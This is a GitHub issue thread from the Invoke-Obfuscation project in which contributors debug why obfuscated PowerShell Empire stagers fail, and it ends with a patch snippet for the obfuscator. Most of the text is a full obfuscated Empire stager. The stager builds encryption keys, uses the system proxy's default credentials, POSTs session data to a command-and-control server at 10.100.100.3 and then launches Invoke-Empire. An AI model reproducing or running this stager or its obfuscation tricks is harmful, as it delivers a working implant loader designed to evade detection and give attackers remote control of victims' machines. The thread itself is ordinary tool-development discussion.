danielbohannon
commented
7 years ago If you can provide any error details then that would be helpful as well. Thanks man!
Closed cobbr closed 6 years ago
danielbohannon
commented
7 years ago If you can provide any error details then that would be helpful as well. Thanks man!
cobbr
commented
7 years ago I have a (slightly) minimized version of an obfuscated stager that reproduces part of the issue. The issue appears to be with the $S variable being casted to a byte array type inside of the ConvertTo-RC4ByteStream function. Within the calling function, $S is defined as a string. In the non-obfuscated version of the script, $S remains a string in the calling function after calling ConvertTo-RC4ByteStream. In the following obfuscated version of the script, $S becomes a byte array in the calling function after calling ConvertTo-RC4ByteStream:
.("{1}{0}" -f 'et','S') ("{0}{1}" -f'b8','hR') ( [typE]("{3}{0}{4}{1}{2}"-f 'eC','S','semblY','ReFL','TIOn.A')) ;
${a`q`3DN} = [TYPe]("{2}{0}{3}{1}"-F 'Y','t.EnCODInG','s','STEM.tex');
&("{0}{1}{3}{2}"-f'seT','-','iABle','VAR') ("{0}{1}" -f 'Ua2','4') ( [TYPe]("{1}{4}{6}{7}{8}{0}{2}{3}{5}{9}" -f'OGrAp','syst','Hy.','C','Em','spPROVid','.Se','cURITy.C','Rypt','eRfLagS'));
&('Sv') ("{0}{1}" -f 'vm','D') ( [tyPE]("{3}{1}{2}{4}{5}{0}"-F 'St','sT','eM.nET.w','SY','Eb','RequE') );
.("{1}{2}{0}"-f 'TEm','S','ET-I') ("VAriAbL"+"e"+":GPh5") ( [tyPE]("{6}{2}{5}{7}{0}{3}{1}{4}"-f'nT','ach','sTEm.','iALC','E','nET','SY','.cREDe') ) ;
.("{1}{0}{2}"-f 'V','seT-','ariAbLe') ("{0}{1}"-f '1','nMD') ( [tyPE]("{2}{3}{0}{1}"-f'Men','t','E','NViRoN')) ;
${G`D`TLr3} = [Type]("{1}{7}{2}{3}{4}{5}{0}{6}" -F 'iNDOW','sE','priN','Cip','AL','.w','SIDENtity','CURiTy.') ;
&("{0}{1}{2}"-f'S','ET-IT','EM') ("{2}{1}{0}{3}" -f ':','iabLE','vAR','8DB') ( [TypE]("{4}{3}{2}{1}{0}{5}"-f'rO','.P','cs','.DiAGnoStI','System','CESS') ) ;
.("{0}{1}"-f'Set-','ITem') ('varI'+'ABLE:wb'+'Z'+'7o'+'d') ([TYPE]("{0}{2}{1}{3}"-f 'B','tCOnvErtE','i','r') ) ;
${4Sm`g9} = [type]('Gc') ;
fUncTION staRt`-NEGO`TI`ATE {
PARam(${S},${Sk},${uA}=("{0}{16}{5}{6}{14}{2}{13}{12}{1}{3}{11}{9}{17}{7}{15}{10}{4}{8}" -f 'MoZIlLa/5.','OW6','S NT 6.1','4; TrI',' GeCK',' ','(WI','R','O','.0',':11.0) LikE','dENT/7',' W',';','NdoW','V','0','; '))
Write-Host s value at start of start-negotiate: $s
FunCtiOn cOnveRTto`-RC4By`TeS`Tr`eAm {
ParAM (${R`CK}, ${iN})bEgIN {
Write-Host s type at start of convertto-rc4bytestream: $S.GetTYpe();
[BYTE[]] ${S} = 0..255;${J} = 0;
Write-Host s type after cast in convertto-rc4bytestream: $S.GetType();
0..255 | .("{1}{0}{2}{3}"-f 'Ea','FOR','ch-Ob','jecT') {
${J} = (${J} + ${S}[${_}] + ${r`ck}[${_} % ${r`Ck}."LEN`Gth"]) % 256;
${S}[${_}], ${S}[${j}] = ${S}[${J}], ${S}[${_}];
};
${i} = ${J} = 0;
}
ProCESs {
FoREAch(${B`yte} In ${iN}) {
${i} = (${i} + 1) % 256;
${j} = (${j} + ${S}[${I}]) % 256;
${s}[${I}], ${s}[${j}] = ${s}[${J}], ${S}[${i}];
${by`Te} -BXOR ${s}[(${S}[${i}] + ${S}[${j}]) % 256];
}
}
}
${ErrO`R`AcT`ioNp`REFE`REncE} = ("{4}{2}{3}{0}{1}" -f 'tin','ue','n','tlyCon','Sile');
${E}= ( &("{2}{0}{1}" -f'ri','aBLe','vA') ("{0}{1}" -f 'Aq','3dn') -vALUEOn)::"a`sciI";
${cUS`TOm`HEAd`eRs} = "";
${S`KB}=${e}.("{0}{2}{1}"-f'G','es','ETByt').Invoke(${sk});${A`eS}=.("{0}{1}{2}" -f 'Ne','W','-OBJECt') ("{10}{11}{6}{5}{1}{13}{2}{0}{9}{12}{7}{4}{3}{8}"-f 'PToGra','y.','RY','OVi','vicEPr','Rit','em.SeCU','ypTOSER','der','phY.A','S','ysT','eSCR','C');
${i`V} = [BYTe] 0..255 | .("{2}{0}{1}"-f 'E','T-RANDOM','G') -cOUnt 16;
${A`es}."m`oDe"="CBC";
${A`Es}."k`ey"=${s`KB};
${A`Es}."iv" = ${iV};
${h`mac} = &("{0}{1}{2}"-f 'NEw-Obje','C','T') ("{9}{4}{5}{2}{1}{7}{8}{0}{6}{3}"-f 'HMACSH','eCuriTy.CryPt','S','6','St','Em.','A25','ogRa','phy.','Sy');
${hm`AC}."k`ey" = ${S`KB};${C`Sp} = .("{3}{2}{1}{0}"-f't','bJec','EW-O','N') ("{8}{1}{3}{9}{0}{5}{7}{6}{2}{4}"-f'RyPT','Em','am','.Secu','eTeRS','Ograp','PAR','Hy.CsP','SYst','RIty.C');${c`sp}."F`laGS" = ${C`sP}."fLA`Gs" -BOR ${Ua`24}::"U`SEm`AChinEkE`ySToRe";
${r`S} = .("{3}{2}{1}{0}"-f 'CT','jE','-OB','New') ("{6}{3}{2}{1}{0}{4}{8}{7}{9}{5}"-f 'A','GR','.SEcurITy.CrYPTO','ysTEM','P','dEr','S','ACRY','Hy.RS','PtoSErVIcEPrOVI') -ARGuMEntLisT 2048,${C`SP};
${Rk}=${R`s}.("{2}{3}{0}{1}" -f'mLStr','INg','T','OX').Invoke(${Fal`SE});
${iD}=-join(("{2}{3}{0}{1}{6}{5}{4}"-f 'NPRSTU','VWXY','ABCDEFG','HKLM','89','234567','Z1').("{1}{0}{2}" -f 'rA','ToCha','rray').Invoke()|.("{2}{0}{1}" -f'do','m','Get-Ran') -Count 8);
${iB}=${E}.("{1}{0}{2}"-f 'e','GeTbyT','S').Invoke(${R`k});${e`B}=${I`V}+${a`Es}.("{1}{0}{2}{3}"-f 'NC','CREATeE','RypTO','r').Invoke().("{0}{3}{1}{5}{4}{2}" -f'TrAN','O','AlBLocK','sf','FIn','rM').Invoke(${IB},0,${I`B}."L`ENg`TH");
${e`B}=${eB}+${Hm`AC}.("{1}{0}{2}" -f'pU','COM','TeHAsH').Invoke(${eb})[0..9];
iF(-NOt ${W`c}) {${W`C}=.("{1}{0}{2}" -f 'bJ','NeW-O','eCT') ("{4}{0}{1}{2}{3}"-f'STE','m.N','ET.WeBCL','iEnT','SY');
${Wc}."pR`oXY" = ${v`Md}::("{3}{4}{1}{0}{2}" -f 'O','bPr','XY','GetSYStEM','We').Invoke();
${wC}."PR`Oxy"."cre`DEN`TIALS" = ${GP`H5}::"DefAuLtcreDE`N`Ti`ALS";}
${wc}."H`E`ADERS".("{0}{1}"-f'Ad','d').Invoke(("{2}{0}{1}"-f 'r-A','gent','Use'),${U`A});
${I`V}= ${wBZ`7`od}::("{1}{2}{0}"-f 'TeS','GetB','y').Invoke($(&("{1}{3}{0}{2}" -f 'Nd','Get-R','oM','a')));
${d`AtA} = ${e}.("{0}{1}" -f 'GETbYTE','s').Invoke(${iD}) + @(0X01,0X02,0x00,0x00) + ${wbZ7`od}::("{1}{0}" -f'BYtES','GET').Invoke(${eB}."L`enGTH");
${R`C4p} = .("{3}{6}{0}{5}{1}{2}{4}"-f 'TT','-RC4BytES','TreA','COn','m','O','VEr') -RCK $(${iV}+${s`kB}) -In ${DA`TA};
${w`c}."H`e`AdeRS".("{1}{0}" -f'dd','A').Invoke(("{2}{1}{0}"-f 'nt','r-Age','Use'),${ua});
Write-Host value of s at end of start-negotiate: $S
$S = 'http://10.100.100.3:80'
Write-Host type of s at end of start-negotiate: $S.GetType();
$one = ${S}+("{2}{1}{3}{0}"-f '.php','in/pr','/log','ocess')
$two = ("{0}{1}"-f'POS','T')
$three = ${rC`4P2}
${r`AW}=${WC}.("{0}{1}{3}{2}"-f 'Uploa','d','a','Dat').Invoke($one,$two,$three);
${A`es}=${n`ULL};${S2}=${n`ULL};${WC}=${nu`lL};${E`B2}=${N`Ull};${R`Aw}=${Nu`Ll};
${i`V}=${nU`ll};${WC}=${n`ULl};${I}=${n`uLL};${i`B2}=${nu`Ll};
${4`SmG9}::("{0}{1}" -f 'CO','llEcT').Invoke();
&("{2}{1}{0}{3}" -f 'e-E','ok','Inv','mpire') -Servers @((${S} -split "/")[0..2] -join "/") -StagingKey ${s`K} -SessionKey ${K`Ey} -SessionID ${Id};
}
$ser='http://10.100.100.3:80'
.("{3}{0}{2}{1}" -f'-Negot','ate','i','Start') -s "$ser" -SK ("{6}{1}{5}{4}{9}{8}{0}{7}{3}{2}"-f '&:','!+fk','x/h','o>S','VAr','8ZH<','16','s-9,','mb=G','u0z') -UA ${u};Here is the output of that script, which shows how $S has become a byte array:
PS> ".\stage.ps1" | iex
s value at start of start-negotiate: http://10.100.100.3:80
s type at start of convertto-rc4bytestream: System.String
s type after cast in convertto-rc4bytestream: System.Byte[]
value of s at end of start-negotiate: 88 148 170 19 227 179 206 156 132 225 178 84 171 124 209 23 173 102 10 71 22 98 32
184 129 73 214 30 68 188 80 163 90 175 28 139 213 251 94 142 248 27 17 95 121 5 152 34 62 66 50 182 93 2 87 70 154 167
151 234 15 136 122 112 145 37 63 60 79 114 46 252 26 194 72 196 35 134 75 138 31 39 246 197 97 242 158 6 107 81 144 24 1
25 41 133 159 54 164 205 25 9 76 45 103 165 236 29 47 12 254 44 7 104 92 91 140 237 186 3 100 48 216 116 203 135 245 115
52 57 220 210 187 69 208 137 33 195 110 241 153 49 128 96 172 218 1 217 222 221 67 160 130 106 249 36 113 89 223 117 24
0 16 244 14 42 224 231 243 21 226 108 168 191 58 109 78 119 131 64 211 192 77 4 183 207 149 157 141 198 111 228 201 123
238 176 250 199 253 20 43 59 162 204 83 215 120 8 86 65 185 40 55 247 212 255 127 193 85 118 230 174 82 155 180 0 74 181
53 229 101 233 202 38 51 61 166 126 143 219 13 189 232 235 200 150 147 161 146 18 11 190 99 105 56 169 177 239
type of s at end of start-negotiate: System.Byte[]I can solve this by changing the name of the $S variable to something else within ConvertTo-RC4ByteStream, but it seems that if this works as-is unobfuscated, it should work obfuscated as well.
This appears to be a problem with command TOKEN obfuscation, because this is solved by disabling it.
There seems to be an additional problem with string TOKEN obfuscation when trying to obfuscate the stager, but I think it is a separate issue from the command TOKEN issue discussed here.
cobbr
commented
7 years ago So this one was especially fun to debug, but I think I nailed down the issue. The problem appears when using the 'Invoke' style command token obfuscation. If the argument passed to the Invoke() function is a byte array, for some reason it's interpreted as an array of parameters instead of a single parameter that is an array.
To me, this seems like an actual issue with PowerShell itself, as this doesn't seem to happen with any other type of array besides byte arrays. But aside from a fix to PowerShell, a way to fix this is passing the byte array with this notation: "Method".Invoke(@(,$byteArrayVar)).
I'm a little uncertain on how to implement that in Invoke-Obfuscation as you would have to have some sort of 'state' where we could detect a byte array as the next token while doing Invoke style obfuscation on command tokens. You might have some more insight on how best to implement a long-term fix, being more familiar with the code base. For now, I hacked in some exceptions for method names that take byte arrays as parameters and were giving me trouble:
# Parse out $SubSubString to make next If block a little cleaner for handling fringe cases in which we will revert to ticks instead of concatenation or reordering of the Member token value.
$SubSubString = $ScriptString.SubString($Token.Start+$Token.Length,$RemainingSubString)
If(($Token.Content.ToLower() -eq 'invoke') `
-OR ($Token.Content.ToLower() -eq 'computehash') `
-OR ($Token.Content.ToLower() -eq 'tobase64string') `
-OR ($Token.Content.ToLower() -eq 'tostring') `
-OR (((($Token.Start -gt 0) -AND ($ScriptString.SubString($Token.Start-1,1) -eq '.')) `
-OR (($Token.Start -gt 1) -AND ($ScriptString.SubString($Token.Start-2,2) -eq '::'))) `
-AND (($ScriptString.Length -ge $Token.Start+$Token.Length+1) -AND (($SubSubString.SubString(0,1) -ne '(') -OR (($SubSubString.Contains('[')) -AND !($SubSubString.SubString(0,$SubSubString.IndexOf('[')).Contains(')')))))))
{
# We will use the scriptString length prior to obfuscating 'invoke' to help extract the this token after obfuscation so we can add quotes before re-inserting it.
$PrevLength = $ScriptString.LengthNot a real 'fix' but hacky exceptions included in: 950785e5f846fb0e8d3be8484d2ba466c2340469
danielbohannon
commented
6 years ago Thanks for the fix, @cobbr!
Problem
I discovered this issue while trying to obfuscate stagers produced by the Empire project.
When obfuscating the Empire stager, it no longer executes properly. I am able to correct this by disabling string TOKEN, member TOKEN levels 3 and 4, and command TOKEN obfuscation types. My hunch is that it all traces back to something in string TOKEN obfuscation.
Output
Here is the stager script prior to any obfuscation:
This is the script post-obfuscation:
Additionally, here is a copy of the working script post-obfuscation after disabling the obfuscation types mentioned above. Maybe there is a difference between this one and the normal post-obfuscation script you will be able to detect:
I'll be doing some more research into this and see if I can get you some more output when the obfuscated script is actually executing. I thought I would go ahead and post to see if you are able to spot anything that stands out to you.